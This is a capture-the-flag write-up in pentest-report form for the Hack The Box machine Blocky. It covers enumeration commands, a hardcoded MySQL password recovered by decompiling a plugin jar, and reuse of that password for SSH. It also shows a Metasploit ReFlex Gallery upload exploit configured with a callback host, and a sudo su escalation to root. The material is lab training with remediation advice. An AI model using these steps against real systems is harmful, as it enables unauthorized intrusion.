Hack The Box Blocky Writeup (Easy Linux)

Summary

Blocky runs Apache with WordPress and phpMyAdmin alongside a Minecraft server on port 25565. wpscan identifies the single author notch, and gobuster turns up a /plugins directory serving BlockyCore.jar. Decompiling that jar in Ghidra shows the MySQL root password 8YsqfCTnvxAUeduzjNSXe22 hardcoded in the constructor, and notch reuses it for SSH, which is the direct way in. The same password also opens phpMyAdmin, where rewriting notch’s hash in wp_users allows uploading and activating the vulnerable ReFlex Gallery 3.1.3 plugin for remote code execution through its Metasploit module. Either route ends the same way, since notch holds unrestricted sudo and sudo su returns a root shell.

Introduction

Challenge Difficulty: Easy From: HackTheBox

Blocky is fairly simple overall, and was based on a real-world machine. It demonstrates the risks of bad password practices as well as exposing internal files on a public facing system. On top of this, it exposes a massive potential attack vector: Minecraft. Tens of thousands of servers exist that are publicly accessible, with the vast majority being set up and configured by young and inexperienced system administrators.

Behind Security was tasked with performing an penetration test towards Blocky. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Blocky’s internal systems

High-Level Summary

The pentest report conducted by the Behind Security unveiled several vulnerabilities and inadequate security practices within the Blocky organization. During the assessment, the following key findings were identified:

1. Hardcoded Credentials: During the assessment, Behind Security uncovered hardcoded credentials for the root user of the MySQL database within the source code of a java plugin. With these credentials, Behind Security achieved a complete compromise of the MySQL database.

2. Password Reuse: Password reuse practice was observed, enabling unauthorized access to multiple systems. Implementing a robust password policy is advised.

3. User notch Privileges: The user notch had unrestricted sudo privileges, leading to complete compromise of the machine through a simple sudo su command. Reviewing and appropriately restricting sudo privileges is essential to prevent misuse.

Methodologies

1. Information Gathering (Reconnaissance): Using both passive and active techniques, we gathered relevant information on potential entry points.

2. Vulnerability Assessment: Through a combination of automated scanning tools and manual analysis, we performed an exhaustive vulnerability assessment. The assessment covered the entire attack surface, including network services, web applications, and databases.

3. Exploitation and Gain of Access: Based on the identified vulnerabilities, we attempted to exploit them to gain unauthorized access to the systems and applications. This step allowed us to validate the existence and potential impact of each vulnerability.

4. Privilege Escalation and Lateral Movement: Following successful initial access, we focused on privilege escalation to elevate our access privileges. Additionally, we explored the potential for lateral movement within the internal network, simulating real-world scenarios of an attacker’s progression.

5. Documentation and Reporting: Detailed documentation of the findings, including technical descriptions, potential impacts, and evidence of exploitation, was recorded throughout the testing process.

Independent Challenge - 10.10.10.37

Service Enumeration

Command: nmap -sC -sV -T4 -v -p- 10.10.10.37

Port Scan Results:

IP Address	Ports Open
10.10.10.37	TCP: 21,22,80,8192,25565

Web Server Enumeration

The web server’s HTTP headers reveal its version as Apache httpd 2.4.18. Additionally, we identified the presence of a WordPress CMS running on the web server. These findings provide important insights into the system’s configuration and software stack, which will be taken into consideration during the subsequent phases of the assessment.

Wordpress Enumeration

During enumeration of the WordPress instance hosted at IP address 10.10.10.37, Behind Security successfully identified a valid user within the CMS. This discovery may provide a potential entry point for further analysis and testing.

User discovered: notch

Command: wpscan --url http://blocky.htb/ -e u

Snippet of the finding:

[+] notch
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blocky.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Directory Bruteforcing

Behind Security performed directory brute-forcing to gain additional insights into the website’s structure. This approach allowed us to explore the directory tree and discover hidden resources, providing valuable information for further assessment.

Command: gobuster dir -u http://blocky.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -o gobuster

Snippet of the finding:

/wiki                 (Status: 301) [Size: 307] [--> http://blocky.htb/wiki/]
/wp-content           (Status: 301) [Size: 313] [--> http://blocky.htb/wp-content/]
/plugins              (Status: 301) [Size: 310] [--> http://blocky.htb/plugins/]
/wp-includes          (Status: 301) [Size: 314] [--> http://blocky.htb/wp-includes/]
/javascript           (Status: 301) [Size: 313] [--> http://blocky.htb/javascript/]
/wp-admin             (Status: 301) [Size: 311] [--> http://blocky.htb/wp-admin/]
/phpmyadmin           (Status: 301) [Size: 313] [--> http://blocky.htb/phpmyadmin/]

Hardcoded Credentials

During the assessment, Behind Security uncovered hardcoded credentials for the root user of the MySQL database within the BlockyCore.jar plugin, accessible via http://blocky.htb/plugins/files/BlockyCore.jar.

For analysis, Behind Security utilized the tool Ghidra. The provided code snippet highlights the presence of hardcoded credentials:

/* Flags:
     ACC_PUBLIC
   
   public BlockyCore()  */

void <init>_void(BlockyCore this)

{
  this.<init>();
  this.sqlHost = "localhost";
  this.sqlUser = "root";
  this.sqlPass = "8YsqfCTnvxAUeduzjNSXe22";
  return;
}

Initial Access - SSH Login

Vulnerability Explanation: By leveraging the same password previously identified for the root user of the MySQL database, Behind Security was able to log in as the user notch via SSH. This finding serves as concrete evidence that identical credentials were being employed across multiple apps and services within the organization, posing a high security risk.

Vulnerability Fix: Deploy a strict password policy that enforces unique passwords for each system, service, or application used within the organization.

Severity: High

Steps to Reproduce the Attack: Log in via SSH as notch, specifying the previously discovered password for the root user of the MySQL database in the report.

Initial Access - RCE via Uploading and Activating a Vulnerable Wordpress Plugin

Vulnerability Explanation: During the engagement, Behind Security was able to identify a critical vulnerability that allows an attacker to gain remote code execution on the system. The attack scenario involves exploiting the ability to upload and activate a vulnerable plugin on the Wordpress instance. Once the vulnerable plugin is activated, the attacker can leverage a separate remote code execution vulnerability present in the plugin to execute arbitrary code.

Vulnerability Fix: Fix the Hard-coded Credentials previously addressed.

Severity: Critical

Steps to Reproduce the Attack:

1. Behind Security gained unauthorized access to the target system by being able to log in on the phpmyadmin instance at http://blocky.htb/phpmyadmin/ and change the password for the wordpress user notch to pwned.

   • After logging onto phpmyadmin, head to wordpress database, and then wp_users. There you can change information about the users, including password. There’s an online tool available to generate a valid wordpress password hash.

2. Leveraging the plugin upload functionality within WordPress, Behind Security uploaded ReFlex Gallery Version 3.1.3 onto the system and activated the uploaded plugin. The direct download link to the vulnerable plugin can be found here.

3. Then, Behind Security used a metasploit module (unix/webapp/wp_reflexgallery_file_upload) to effectively trigger the underlying vulnerability and obtain Remote Code Execution. The module configuration can be found below.

msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set RHOSTS 10.10.10.37
RHOSTS => 10.10.10.37
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set LHOST tun0
LHOST => tun0
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set VHOST blocky.htb
VHOST => blocky.htb
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > run

Post Exploitation

User notch has unrestricted sudo capabilities, granting complete administrative privileges on the machine. As a result, Behind Security achieved a full compromise of the system with relative ease, utilizing a simple sudo su command. This successful escalation of privileges demonstrates the critical importance of properly managing sudo access to prevent unauthorized users from gaining extensive control over the system. Immediate action should be taken to review and restrict sudo privileges for notch and other users to enhance overall security and mitigate potential exploitation.

notch@Blocky:~$ sudo -l
[sudo] password for notch: 
Matching Defaults entries for notch on Blocky:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
    (ALL : ALL) ALL
notch@Blocky:~$ sudo su
root@Blocky:/home/notch# id
uid=0(root) gid=0(root) groups=0(root)
root@Blocky:/home/notch#